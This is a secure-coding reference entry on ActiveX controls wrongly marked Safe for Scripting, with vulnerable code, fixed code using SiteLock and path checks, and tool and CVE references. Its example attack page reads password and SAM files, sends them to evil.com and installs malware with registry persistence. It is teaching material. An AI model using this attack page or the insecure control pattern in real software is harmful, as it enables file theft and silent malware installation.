Unsafe ActiveX Control Marked Safe For Scripting
Description
Unsafe ActiveX Control Marked Safe For Scripting occurs when an ActiveX control that performs potentially dangerous operations (file system access, registry modification, network operations) is marked as "Safe for Scripting" and "Safe for Initialization." This allows the control to be instantiated and manipulated by scripts on web pages without security prompts, enabling drive-by attacks from malicious websites.
Risk
Malicious web pages can silently execute dangerous operations through the ActiveX control. File system access can read, write, or delete files on the victim's computer. Registry access can modify system configuration. Network operations can exfiltrate data or download malware. The attack requires no user interaction beyond visiting the malicious page. Any website can exploit the vulnerability once the control is installed.
Solution
Never mark controls as Safe for Scripting if they perform dangerous operations. Implement proper input validation in all methods. Use SiteLock to restrict controls to specific trusted domains. Consider using safer alternatives to ActiveX. If controls must be safe for scripting, sandbox all operations. Implement security checks for every method call.
Common Consequences
| Impact | Details |
|---|---|
| Integrity | Scope: System Modification Scripts can modify files, registry, system state. |
| Confidentiality | Scope: Data Theft Local files can be read and exfiltrated. |
| Availability | Scope: System Damage Malicious scripts can delete files or corrupt system. |
Example Code + Solution Code
Vulnerable Code
// VULNERABLE: ActiveX control marked Safe for Scripting
// with dangerous file operations
// IDL file
[
uuid(12345678-1234-1234-1234-123456789ABC),
helpstring("Vulnerable File Control")
]
coclass VulnerableFileControl
{
[default] interface IVulnerableFile;
};
// Implementation
class CVulnerableFileControl :
public CComObjectRootEx<CComSingleThreadModel>,
public IDispatchImpl<IVulnerableFile>,
public IObjectSafetyImpl<CVulnerableFileControl,
INTERFACESAFE_FOR_SCRIPTING | // DANGEROUS!
INTERFACESAFE_FOR_UNTRUSTED_DATA>
{
public:
// VULNERABLE: Reads any file
STDMETHODIMP ReadFile(BSTR path, BSTR* content)
{
// No validation - reads any file!
*content = ReadFileContents(path);
return S_OK;
}
// VULNERABLE: Writes to any file
STDMETHODIMP WriteFile(BSTR path, BSTR content)
{
// No validation - writes anywhere!
WriteFileContents(path, content);
return S_OK;
}
// VULNERABLE: Executes arbitrary commands
STDMETHODIMP Execute(BSTR command)
{
// No validation - runs anything!
system(OLE2A(command));
return S_OK;
}
// VULNERABLE: Registry access
STDMETHODIMP ReadRegistry(BSTR key, BSTR* value)
{
// No validation - reads any registry key!
*value = ReadRegistryValue(key);
return S_OK;
}
};
// Registry entries marking it safe
HKEY_CLASSES_ROOT\CLSID\{...}\Implemented Categories\
{7DD95801-9882-11CF-9FA9-00AA006C42C4} // Safe for Scripting
{7DD95802-9882-11CF-9FA9-00AA006C42C4} // Safe for Initialization
<!-- Malicious web page exploiting the control -->
<html>
<body>
<script>
// Instantiate the vulnerable control
var ctrl = new ActiveXObject("VulnerableLib.FileControl");
// Steal sensitive files
var passwords = ctrl.ReadFile("C:\\Users\\victim\\passwords.txt");
var config = ctrl.ReadFile("C:\\Windows\\System32\\config\\SAM");
// Exfiltrate data
new Image().src = "http://evil.com/steal?data=" +
encodeURIComponent(passwords);
// Write malware
ctrl.WriteFile("C:\\Windows\\Temp\\malware.exe", malwareBytes);
ctrl.Execute("C:\\Windows\\Temp\\malware.exe");
// Modify registry for persistence
ctrl.WriteRegistry(
"HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\Malware",
"C:\\Windows\\Temp\\malware.exe"
);
</script>
</body>
</html>
Fixed Code
// SAFE: ActiveX control with proper security
// Option 1: Don't mark as Safe for Scripting
class CSafeFileControl :
public CComObjectRootEx<CComSingleThreadModel>,
public IDispatchImpl<ISafeFile>
// NO IObjectSafetyImpl - not safe for scripting!
{
// Users will be prompted before use
};
// Option 2: Implement IObjectSafety with validation
class CSecureControl :
public CComObjectRootEx<CComSingleThreadModel>,
public IDispatchImpl<ISecureControl>,
public IObjectSafety
{
private:
DWORD m_dwSafety;
CComBSTR m_allowedDomain;
public:
CSecureControl() : m_dwSafety(0), m_allowedDomain(L"trusted.example.com") {}
// Implement IObjectSafety manually with SiteLock
STDMETHODIMP GetInterfaceSafetyOptions(
REFIID riid, DWORD* pdwSupportedOptions, DWORD* pdwEnabledOptions)
{
*pdwSupportedOptions = INTERFACESAFE_FOR_SCRIPTING;
*pdwEnabledOptions = m_dwSafety;
return S_OK;
}
STDMETHODIMP SetInterfaceSafetyOptions(
REFIID riid, DWORD dwOptionSetMask, DWORD dwEnabledOptions)
{
// Only allow safe scripting from trusted domain
if (!IsAllowedDomain())
{
return E_FAIL; // Not safe from this site
}
m_dwSafety = dwEnabledOptions & dwOptionSetMask;
return S_OK;
}
// SiteLock check
bool IsAllowedDomain()
{
CComPtr<IServiceProvider> pSP;
CComPtr<IWebBrowser2> pBrowser;
CComBSTR url;
// Get browser instance
if (SUCCEEDED(GetSite(IID_IServiceProvider, (void**)&pSP)) &&
SUCCEEDED(pSP->QueryService(SID_SWebBrowserApp,
IID_IWebBrowser2,
(void**)&pBrowser)) &&
SUCCEEDED(pBrowser->get_LocationURL(&url)))
{
// Check if URL is from allowed domain
return IsUrlAllowed(url);
}
return false;
}
bool IsUrlAllowed(BSTR url)
{
// Strict domain checking
CComBSTR urlLower(url);
urlLower.ToLower();
// Must be HTTPS from trusted domain
return wcsstr(urlLower, L"https://trusted.example.com/") != NULL;
}
// SAFE: Restricted file operations
STDMETHODIMP ReadFile(BSTR path, BSTR* content)
{
// Validate caller
if (!IsAllowedDomain())
return E_ACCESSDENIED;
// Whitelist allowed paths
if (!IsAllowedPath(path))
return E_INVALIDARG;
// Sandbox to specific directory
CComBSTR safePath;
if (!SandboxPath(path, &safePath))
return E_INVALIDARG;
*content = ReadFileContents(safePath);
return S_OK;
}
bool IsAllowedPath(BSTR path)
{
// Only allow reading from specific safe directory
CComBSTR pathLower(path);
pathLower.ToLower();
// Must be in application data folder
return wcsstr(pathLower,
L"c:\\users\\public\\appdata\\ourapp\\") != NULL;
}
// SAFE: No Execute method at all!
// SAFE: No registry access at all!
// SAFE: Limited write operation
STDMETHODIMP SaveData(BSTR filename, BSTR content)
{
if (!IsAllowedDomain())
return E_ACCESSDENIED;
// Validate filename (no path traversal)
if (wcschr(filename, L'\\') || wcschr(filename, L'/'))
return E_INVALIDARG;
// Only specific extensions
if (!HasAllowedExtension(filename, L".dat"))
return E_INVALIDARG;
// Fixed safe directory
CComBSTR safePath(L"C:\\Users\\Public\\AppData\\OurApp\\");
safePath.Append(filename);
WriteFileContents(safePath, content);
return S_OK;
}
};
// SAFE: Modern alternative - avoid ActiveX entirely
// Use browser extensions or web APIs instead
// For legacy requirements, use BHO with proper security
class CSecureBHO : public IObjectWithSite
{
// Browser Helper Objects have better security model
// Still validate all operations
};
// Or migrate to modern web technologies:
// - HTML5 File API (with user consent)
// - Browser extensions (sandboxed)
// - Native messaging from extension to local app
Exploited in the Wild
Drive-by Downloads
Vulnerable ActiveX controls used for silent malware installation.
Data Theft
Controls with file access exploited to steal sensitive documents.
Corporate Attacks
Internal ActiveX controls exploited in targeted attacks.
Tools to test/exploit
-
AxMan — ActiveX fuzzer.
-
OleView — inspect ActiveX interfaces.
-
Process Monitor — trace control operations.
CVE Examples
-
CVE-2018-8174: VBScript/ActiveX use-after-free.
-
Multiple CVEs in vendor ActiveX controls.
References
-
MITRE. "CWE-623: Unsafe ActiveX Control Marked Safe For Scripting." https://cwe.mitre.org/data/definitions/623.html
-
Microsoft. "Safe Initialization and Scripting for ActiveX Controls."